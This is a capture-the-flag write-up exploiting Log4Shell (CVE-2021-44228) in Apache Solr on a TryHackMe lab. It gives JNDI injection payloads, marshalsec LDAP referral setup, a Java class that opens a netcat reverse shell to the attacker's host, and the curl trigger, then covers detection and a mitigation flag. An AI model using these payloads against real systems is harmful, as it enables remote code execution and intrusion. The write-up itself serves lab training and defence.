p3rzv41 - TryHackMe Solar Log4Shell Writeup

The Log4j vulnerability allows a remote attacker to execute arbitrary code remotely on a target system.

Let hit it;

Reconnaissance:-

nmap -v 10.10.250.31
nmap -T5 -v -n -p- 10.10.250.31
nmap -sV -p 8983 10.10.250.31

Discovery:-

When we navigate to http://10.10.250.31:8983 we should be able to see clear indicators that log4j is in use within the application for logging activity, this can be seen below;-

The -Dsolr.log.dir argument set to /var/solr/logs

Downloaded the log files and we can see a significant number of INFO entries showing repeated requests to one specific URL endpoint path repeating the entries: /admin/cores and the field indicating data entry point will be the params={} .

Proof Of Concept:-

Visiting http://10.10.250.31:8983/solr/admin/cores you also noticed that params seem to be included in the log file. At this point, you may already be beginning to see the attack vector.

The log4j package adds extra logic to logs by “parsing” entries, ultimately to enrich the data – but may additionally take actions and even evaluate code based off the entry data. This is the gist of CVE-2021-44228. Other syntax might be in fact executed just as it is entered into log files.

Some examples of this syntax are:-

${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}

The format of the usual syntax that takes advantage of this looks like so:-

${jndi:ldap://ATTACKERCONTROLLEDHOST}

This syntax indicates that the log4j will invoke functionality from “JNDI”, or the “Java Naming and Directory Interface.” Ultimately, this can be used to access external resources, or “references,” which is what is weaponized in this attack. For the ldap:// know that the target will in fact make a connection to an external location.

Click here to read more:- A Journey From JNDI LDAP Manipulation To RCE .

Make a request including this primitive JNDI payload syntax as part of the HTTP parameters.

curl 'http://10.10.250.31:8983/solr/admin/cores?foo=$\{jndi:ldap://10.8.36.199:1337\}'

nc -nlvp 1337

Connection received, we get a strange-looking byte.

Exploitation:-

Installing Java-8 mirror link below feel free to dig in.

Index of /jdk/

Select the jdk-8u181-linux-x64.tar.gz package and download.

After downloading and extracting, move the downloaded folder in to /usr/lib/jvm then apply the commands below;

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1

sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java
sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac
sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws

java -version changed successfully.

git clone https://github.com/mbechler/marshalsec
cd into the dir
=================
build marshal
sudo apt install maven
mvn clean package -DskipTests
=================
starting the ldap server in marshalsec
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer

With the marshalsec utility built, we can start an LDAP referral server to direct connections to our secondary HTTP server.

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.8.36.199:8000/#Exploit"

Creating an arbitrary code naming it Exploit.java .

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.8.36.199 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Compiling the java exploit code, successfully compiling this will create an Exploit.class in the present directory

javac Exploit.java -source 8 -target 8

Then host the file with an HTTP server and also a listener on port 9999 to catch a reverse shell while the ldap referral server waits.

Now we need to trigger the exploit and fire off our JNDI syntax!.

curl 'http://10.10.147.16:8983/solr/admin/cores?foo=$\{jndi:ldap://10.8.36.199:1389/Exploit\}'

Ldap.

Results:-

We got a shell, with this access a threat actor can realistically do whatever they would like with the victim, privilege escalation, exfiltration, install persistence, perform lateral movement or any other post-exploitation.

Persistence

upgrading the shell to stable.

Checking user privileges, this user has sudo privileges and can also log into ssh with a new password.

SSH.

Detection

We can also view the solr logs.

Viewing the affected solr.log.

Our JNDI attack.

Mitigation

Sudo bash as root and locate /etc/default/solr.in.sh use nano to edit and include the following lines below at the bottom of the file and save.

SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"

Then restart the service.

sudo /etc/init.d/solr restart

To validate that the patch has taken place, start another netcat listener as you had before, and spin up your temporary LDAP referral server and HTTP server.

We didn’t get any reverse shell, meaning the patch worked.

A QUICK NOTE:-

Switchback the current java version from jdk1.8.0_181 to the Default version in Kali Linux let confirm it.

update-java-alternatives --list

To change back to default, we’ll need to enter the selection number, enter and verify the java updated version.

sudo update-alternatives --config java
java -version

Now we are done and i hope you have fun and learn two or three from the great log4j write up all thanks to P3rzv41 all credit goes to him we really appriciate you taking your time to write about the new log4j vulnerabilities.

Greeting From P3rzv41

Back To Home

root💀muzec-sec:~#

Hack. Sleep. Repeat